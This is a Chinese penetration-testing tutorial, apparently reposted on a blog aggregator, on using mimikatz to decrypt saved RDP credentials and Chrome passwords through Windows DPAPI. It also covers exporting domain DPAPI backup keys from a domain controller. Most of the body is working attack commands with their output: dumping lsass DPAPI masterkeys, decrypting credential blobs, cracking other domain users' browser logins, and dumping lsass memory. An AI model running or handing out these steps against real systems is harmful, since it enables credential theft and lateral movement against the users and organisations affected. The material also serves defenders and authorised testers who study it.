利用mimikatz查看rdp连接密码【渗透测试】

这篇具有很好参考价值的文章主要介绍了利用mimikatz查看rdp连接密码【渗透测试】。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

0x00 概述

在使用 rdp 时会发现系统有保存连接密码的功能,一定在本地以一种加密方式保存,在连接的时候解密进行rdp尝试,那么我们能不能那到加密的密码解密以获取这台机器rdp连接过的机器呢?

0x01 流程

“AppData\Local\Microsoft\Credentials\XXX”  -->> GUID(guidMasterKey)  -->> 通过 sekurlsa::dpapi 对比GUID拿到Masterkey -->> mimikatz 通过 “AppData\Local\Microsoft\Credentials\XXX” 和 masterkey 解密秘钥。

0x02 方法

首先使用cmdkey /list来查看是否有保存的凭据密码信息。可以保存rdp凭据,ssh凭据等连接凭据。

如果没有:

利用mimikatz查看rdp连接密码【渗透测试】

有些环境可能有很多的凭据信息:

例如:


当前保存的凭据:
  
    目标: Domain:target=TERMSRV/192.168.100.52
    类型: 域密码
    用户: admin
    本地机器持续时间
    
    目标: LegacyGeneric:target=Adobe User Info(Part2)
    类型: 普通 
    用户: User DT
    本地机器持续时间
    
    目标: LegacyGeneric:target=TERMSRV/172.16.1.246
    类型: 普通 
    用户: administrator
    本地机器持续时间
    
    目标: Domain:target=TERMSRV/192.168.100.42
    类型: 域密码
    用户: admin
    本地机器持续时间
    
    目标: LegacyGeneric:target=TERMSRV/10.10.40.53
    类型: 普通 
    用户: lmrsec\tony
    本地机器持续时间
    
    目标: LegacyGeneric:target=Adobe User Info(Part1)
    类型: 普通 
    用户: User DT
    本地机器持续时间
    
    目标: LegacyGeneric:target=TERMSRV/192.168.100.45
    类型: 普通 
    用户: administrator
    本地机器持续时间
    
    目标: LegacyGeneric:target=Adobe User OS Info(Part1)
    类型: 普通 
    用户: User OS Info
    本地机器持续时间
    
    目标: LegacyGeneric:target=TERMSRV/172.16.1.134
    类型: 普通 
    用户: administrator
    本地机器持续时间
    
    目标: LegacyGeneric:target=TERMSRV/192.168.100.46
    类型: 普通 
    用户: administrator
    本地机器持续时间
    
    目标: LegacyGeneric:target=TERMSRV/10.10.40.54
    类型: 普通 
    用户: LMRSEC\lmr
    本地机器持续时间    
    
    目标: LegacyGeneric:target=TERMSRV/172.16.1.124
    类型: 普通 
    用户: administrator
    本地机器持续时间
    
    目标: LegacyGeneric:target=TERMSRV/10.10.20.123
    类型: 普通 
    用户: pc
    本地机器持续时间
    
    目标: LegacyGeneric:target=TERMSRV/10.10.40.100
    类型: 普通 
    用户: lmrsec\tony
    本地机器持续时间
    
    目标: LegacyGeneric:target=TERMSRV/10.10.40.55
    类型: 普通 
    用户: LMRSEC\tony
    本地机器持续时间        
    
    目标: LegacyGeneric:target=TERMSRV/10.10.40.62
    类型: 普通 
    用户: MEC0\administrator
    本地机器持续时间        
    
    目标: Domain:target=192.168.1.94
    类型: 域密码
    用户: LEE-PC\admin
    
    目标: Domain:target=10.0.0.152
    类型: 域密码
    用户: LEE-PC\administrator    
    
    目标: LegacyGeneric:target=chia-user-chia-1.8
    类型: 普通 
    用户: wallet-user-chia-1.8-0    
    
    目标: Domain:target=PIG
    类型: 域密码
    用户: LEE-PC\admin
    

使用命令:dir /a %userprofile%\AppData\Local\Microsoft\Credentials 来查看保存凭据的目录和凭据的值

利用mimikatz查看rdp连接密码【渗透测试】

接下来就一个一个实验吧,因为这个下面是凭据的值,不一定哪一个是你要的,需要写工具批量查喽。

例如:

mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D" exit >a.txt
mimikatz(commandline) # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {fe6b8194-8763-4328-a189-23815ffc11bc}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000012 - 18
  szDescription      : 本地凭据数据


  algCrypt           : 00006603 - 26115 (CALG_3DES)
  dwAlgCryptLen      : 000000c0 - 192
  dwSaltLen          : 00000010 - 16
  pbSalt             : 67ac51d78138d3bb51ed1c07b1bc17a7
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         : 
  algHash            : 00008004 - 32772 (CALG_SHA1)
  dwAlgHashLen       : 000000a0 - 160
  dwHmac2KeyLen      : 00000010 - 16
  pbHmack2Key        : 8f18a25d233beb6c1fb8985285fc14d7
  dwDataLen          : 00002a10 - 10768
  pbData             : f8499588628921158b20b343b3f887ece87192f1a6f0d00fd223f1b001fa55c6feeb......

记住 guidMasterKey   {fe6b8194-8763-4328-a189-23815ffc11bc}

mimikatz "privilege::debug" "sekurlsa::dpapi full" exit>b.txt

在b.txt中找 {fe6b8194-8763-4328-a189-23815ffc11bc} 对应的MasterKey

Authentication Id : 0 ; 568702 (00000000:0008ad7e)
Session           : Interactive from 1
User Name         : administrator
Domain            : LMRSEC
Logon Server      : AD
Logon Time        : 2022/9/22 14:14:42
SID               : S-1-5-21-4175578073-168413485-1140492047-500
	 [00000000]
	 * GUID      :	{ef3e71aa-6279-4999-9c2d-cbb67f71eb3f}
	 * Time      :	2022/9/22 14:16:03
	 * MasterKey :	6a58ad5cfa0d10fb3fd8ea9647eace29481338b7bc23c6d485780be9a136276840e601be86c6d84586948f93d83bf4bc7c2063a51f74b91afd1c2b3eb1d28cf6
	 * sha1(key) :	e500f8e3977bac36b4eb56ebea93d222bd1e748c
	 [00000001]
	 * GUID      :	{fe6b8194-8763-4328-a189-23815ffc11bc}
	 * Time      :	2022/9/22 14:15:05
	 * MasterKey :	57571066d0752738bebc51550a89ac801db0729abd0aa61f0945262e6b4d279445b08e2023ea1a2b1d357594f7838d02b76250a456f9d9e59af4b3ba659352c0
	 * sha1(key) :	eb92f311be6e846c0ae0241a332dd28415048e0a
	 [00000002]
	 * GUID      :	{17a3b3a5-41f6-4809-adb4-20f255db4e2b}
	 * Time      :	2022/9/22 14:16:51
	 * MasterKey :	eacdf11ecd0a819bc619e378292a873d994313be95d8aa9bab5924df98f389d93274c2fc9f532afcfc0dca7b19e1d70aca65887a2e26ac1983f45dd555345825
	 * sha1(key) :	7c09ddedde899693c19e66b1e8b918beb42bb15f
mimikatz 读取密码:

mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D /masterkey:57571066d0752738bebc51550a89ac801db0729abd0aa61f0945262e6b4d279445b08e2023ea1a2b1d357594f7838d02b76250a456f9d9e59af4b3ba659352c0" exit>c.txt

UserName就是账户,CredentialBlob  字段值是解密后的密码,如果是空,就尝试 Credentials  目录下其他凭据的值。(毕竟渗透也是个苦力活...)

Decrypting Credential:
 * masterkey     : 57571066d0752738bebc51550a89ac801db0729abd0aa61f0945262e6b4d279445b08e2023ea1a2b1d357594f7838d02b76250a456f9d9e59af4b3ba659352c0
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 00002a0e - 10766
  credUnk0       : 00000000 - 0

  Type           : 00000001 - 1 - generic
  Flags          : 00000000 - 0
  LastWritten    : 2022/7/10 13:00:32
  unkFlagsOrSize : 00000000 - 0
  Persist        : 00000002 - 2 - local_machine
  AttributeCount : 00000020 - 32
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : WindowsLive:target=virtualapp/didlogical
  UnkData        : (null)
  Comment        : PersistedCredential
  TargetAlias    : (null)
  UserName       : 02qfntekitrt
  CredentialBlob : 
  Attributes     : 32
  **ATTRIBUTE**
    Flags   : 00000000 - 0
    Keyword : Microsoft_WindowsLive:authstate:0
    Value   : 01 00 00 00 d0 8c 9d df 01 15 d1 11 8c......

实际渗透中可以将 Credentials目录和 lsass.exe 的内存文件保存到本地。

我一般会优先破解近期访问的连接。 例如,2022/09/22 13:41 这个近期的连接,我们尝试破解一下:

利用mimikatz查看rdp连接密码【渗透测试】

mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\BDB00E0494A9448757D06512E460C336" exit|findstr guidMasterKey" exit

利用mimikatz查看rdp连接密码【渗透测试】

 从刚刚导出的  sekurlsa::dpapi 查找 GUID 对应的 MasterKey:

利用mimikatz查看rdp连接密码【渗透测试】

mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\BDB00E0494A9448757D06512E460C336 /masterkey:5823ca8c268bb7b96a52c3cf21e3d47c453be443e1ed8acbeee4813785c030f9bb765447c6c4e8e735726871c57b5d361bcfa1507cedc0a11850995ab199843a" exit

 利用mimikatz查看rdp连接密码【渗透测试】

进一步的,想知道windows保存了哪些凭据,那些没保存,使用命令:

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

 如果没保存密码,结果如下:

利用mimikatz查看rdp连接密码【渗透测试】

如果保存了,如下:

利用mimikatz查看rdp连接密码【渗透测试】

导出windows密码技巧总结_渗透测试中心的博客-CSDN博客
 

0x03 破解浏览器凭据

其他凭据,如web浏览器凭据:

dir /a "%userprofile%\AppData\Local\Google\Chrome\User Data\Default\Login Data"

利用mimikatz查看rdp连接密码【渗透测试】

 都是用 dpapi 加密的。

解密本地浏览器凭据:

mimikatz "dpapi::chrome /in:\"C:\Users\lmr\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect

利用mimikatz查看rdp连接密码【渗透测试】

chrome 80以前是直接可以通过dpapi去解密的,80以后变成AES了,所以需要指定一下/encryptedkey参数,这个参数内容是在Chrome/User Data/Local State这个文件里,这是个json文件,搜里面的encrypted_key,这个参数就是加密的密钥,指定之后就可以成功解密保存的密码了

mimikatz "dpapi::chrome /in:\"C:\Users\lmr\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect /encryptedkey:RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAcNoSWcBg/SJyGPdAHkODAAAAAAAIAAAAAAANmAADAAAAAEAAAAA7YX8gUf3+tiMFkL6W6I1gAAAAABIAAAKAAAAAQAAAALPfk2cUfKSaXWrBO+q1sTSgAAACTT3f5PFH6LsG0F+KFyPyYjzVwPar8ePO2I/Tgi3/SVNyx+XxlXi8eFAAAAC6DyST9L+EPyq4tGdXLOARW0dvW" exit

利用mimikatz查看rdp连接密码【渗透测试】

 如果你不满足于只接触当前lmr用户的浏览器凭据,也想拿域内其他机器的浏览器凭据,那么要满足几个条件:管理员权限,拿到2个文件 Local State + Login Data + masterkey

例如lmr用户想crack tony用户的浏览器凭据,需要拿到tony用户下的 Local State 和 Login Data 文件,分别在 "%localappdata%\Google\Chrome\User Data\Local State" 和 "%localappdata%\Google\Chrome\User Data\Default\Login Data"目录。

具体操作如下:

mimikatz "dpapi::chrome /in:\"C:\Users\tony\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect /encryptedkey:RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAC7lwjlTgo8QYn9FA3Kr2gUAAAAAAIAAAAAAANmAADAAAAAEAAAAJwtvYN1SduvSThcd3jUU0cAAAAABIAAAKAAAAAQAAAAPaGDdYmChJdd5jkm9jGWWygAAAAdSUuaJEX85zORzq8BP8RM4sePvSFV6MRGokcE0hJwlMioFLmziL+BFAAAAICv4ae9Ic5C3tzsAMyc5ntLd/l+" exit

利用mimikatz查看rdp连接密码【渗透测试】

 会提示去GUID找masterkey,GUID的生成导出上文已经介绍过了,具体命令是:

mimikatz "privilege::debug" "sekurlsa::dpapi full" exit>b.txt

 找到 GUID: {e50897bb-0a4e-413c-89fd-140dcaaf6814} 对应的masterkey:

利用mimikatz查看rdp连接密码【渗透测试】

 再次crack:

mimikatz "dpapi::chrome /in:\"C:\Users\tony\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect /encryptedkey:RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAC7lwjlTgo8QYn9FA3Kr2gUAAAAAAIAAAAAAANmAADAAAAAEAAAAJwtvYN1SduvSThcd3jUU0cAAAAABIAAAKAAAAAQAAAAPaGDdYmChJdd5jkm9jGWWygAAAAdSUuaJEX85zORzq8BP8RM4sePvSFV6MRGokcE0hJwlMioFLmziL+BFAAAAICv4ae9Ic5C3tzsAMyc5ntLd/l+ /masterkey:4faab22310c7db06402aca7b8aef779dc67549da6c0aeb9ca0ffd052b1e58740b650ac4931551ba1aed78f11784735ac06d6989dbb33e297cab6294e9502479a" exit

利用mimikatz查看rdp连接密码【渗透测试】

 0x04 域内获取masterkey的其他思路

使用域备份密钥解密受害主机的主密钥

需要三步:

1. 导出域控pvk文件

mimikatz.exe "lsadump::backupkeys /system:AD /export" exit

 利用mimikatz查看rdp连接密码【渗透测试】

** /system: 后面填写域控机器名,否则会找不到DC,报错,例如:

利用mimikatz查看rdp连接密码【渗透测试】

 微软的那个错误代码搜索源码错误位置:

利用mimikatz查看rdp连接密码【渗透测试】

 2.通过pvk得到GUID的masterkey (需要什么GUID就用谁的GUID去导出)

mimikatz.exe "dpapi::masterkey /in:C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4175578073-168413485-1140492047-500\8bb03b74-9c66-4a30-852c-b45d3c99bb79 /pvk:ntds_capi_0_9876a14a-13b0-49a3-b2c1-466e7432ea02.keyx.rsa.pvk" exit >a.txt

 在导出文件最后的key字段里:

利用mimikatz查看rdp连接密码【渗透测试】

 3.同上文0x03,使用mimikatz 破解rdp或浏览器凭据。

0x05 后记

试着导出了自己笔记本的浏览器凭据,竟然有50KB之多,可见自己之前的上网习惯是不太好的。

导出的文件一共1731行,前392行是含有凭据信息的,后面的保存了访问过的需要凭证的网站信息。

0x06 reference

https://www.coresecurity.com/core-labs/articles/reading-dpapi-encrypted-keys-mimikatz

使用 MimiKatz 读取 DPAPI 加密密钥的几种方式 - 先知社区   (上文翻译)

Mimikatz抓取密码分析 - hixiaoai - 博客园文章来源地址https://www.toymoban.com/news/detail-447078.html

到了这里,关于利用mimikatz查看rdp连接密码【渗透测试】的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • windows账户安全(通过mimikatz、Jhon获取用户密码)

    1.获取Windows用户密码一mimikatz 打开windows server 2012虚拟机进入Administrator用户 第一步:首先关闭杀毒软件,接下来打开mimi katz.exe执行程序 第二步:提升到debug权限提示符下,输入命令 “privilege::debug” 第三步:输入抓取密码命令“sekurlsa::logonpasswords”,可以看到本机面已经获取

    2024年02月04日
    浏览(32)
  • Mimikatz2.2 如何抓取Win11登录明文密码

    1.攻击者IP:192.168.1.35 系统: KALI2022(vmware 16.0) 2.靶机IP:192.168.1.16 系统: Windows11 3.USB无线网卡 4.Mimikatz 2.2 (win版) Mimikatz2.2 如何抓取Win11登录明文密码 Wdigest WDigest协议是在WindowsXP中被引入的,旨在与HTTP协议一起用于身份认证默认情况下,Microsoft在多个版本的Windows(Windows XP-Window

    2024年02月04日
    浏览(45)
  • [渗透测试]—2.3 密码破解技术

    在本节中,我们将介绍一些常见的密码破解技术。我们将涵盖以下技术: 字典攻击 暴力破解 彩虹表 社会工程攻击 密码重置攻击 密码保护存储攻击 离线密码破解 字典攻击是一种破解密码的方法,它使用预先编译的单词列表(字典)作为密码猜测的来源。这种方法通常用于

    2024年02月11日
    浏览(60)
  • 渗透测试--2.漏洞探测和利用

    目录 一.漏洞分类 二.漏洞探测 三.漏洞利用 四.漏洞扫描 1.Nessus 2.Web应用漏洞扫描器——DVWA 五.Metasploit漏洞利用 网络漏洞 系统漏洞 应用漏洞  人为不当配置 渗透测试是一种测试网络、应用程序和系统安全性的方法,旨在发现并利用漏洞和安全漏洞,以评估系统的安全性。

    2024年02月05日
    浏览(45)
  • Kali渗透测试:散列密码破解

    某些网站的安全机制设置有缺陷,导致自身的关键数据库被渗透。很多用户在不同网站使用的是相同的用户名和密码,因此黑客可以通过获取通过获取用户在A网站的用户名和密码从而尝试登录B网站,这就是“撞库攻击”。 如2014年12月25日开始在互联网上“疯传的”12306网站用

    2024年02月05日
    浏览(32)
  • 渗透测试--5.3.使用john破解密码

    由于Linux是Internet最流行的服务器操作系统,因此它的安全性备受关注。这种安全主要靠口令实现。 Linux使用一个单向函数crypt()来加密用户口令。单向函数crypt()从数学原理上保证了从加密的密文得到加密前的明文是不可能的或是非常困难的。当用户登录系统时,系统并

    2024年02月13日
    浏览(26)
  • 渗透测试-Spring Heapdump利用技巧

    在某次项目当中发现了一个spring boot的heapdump泄露,无法使用常见的mat分析工具打开。在逛github的时候发现了一个比较好的工具,可对该heapdump提取密码,并且该工具的其他功能比较新颖,打开了heapdump的新玩法。 heapdump_tool:https://github.com/wyzxxz/heapdump_tool 运行环境:java 8 基础

    2024年02月02日
    浏览(25)
  • 域渗透之那些显为人知的RDP漏洞

    目录 前言 RDP 协议 RDP 服务的确定和启动 RDP 服务的确定  RDP 服务的启动 对 RDP 登录进行暴力破解 RDP 劫持实现未授权登录 高权限用户劫持低权限用户的 RDP  利用哈希传递登录 RDP 远程桌面 RDP 远程桌面中间人攻击 获取 RDP 远程桌面连接记录 导出当前用户的历史记录 导出已登

    2024年02月11日
    浏览(38)
  • 哈希处理介绍-使用Mimikatz以及John对Windows用户密码破解

    Windows系统使用两种算法对用户的密码进行哈希处理, 它们分别是LM-hash算法和NTLMhash算法。 所谓哈希(hash) , 就是使用一种加密函数对其进行加密。这个加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串。 Windows的系统密码ha

    2024年02月15日
    浏览(38)
  • 渗透测试 ---利用Kali进行简单的信息收集

    目录 Kali环境安装配置更新 Linux镜像文件下载地址 默认用户名 更新命令 网络环境配置 二层发现 原理 工具 arping netdiscover 三层发现 原理 工具 ping fping hping3 四层发现 原理 工具 nmap hping3 Python脚本 端口扫描 原理 工具 nmap Dmitry netcat 端口Banner信息获取 原理 工具 nmap dmitry netcat

    2024年02月05日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包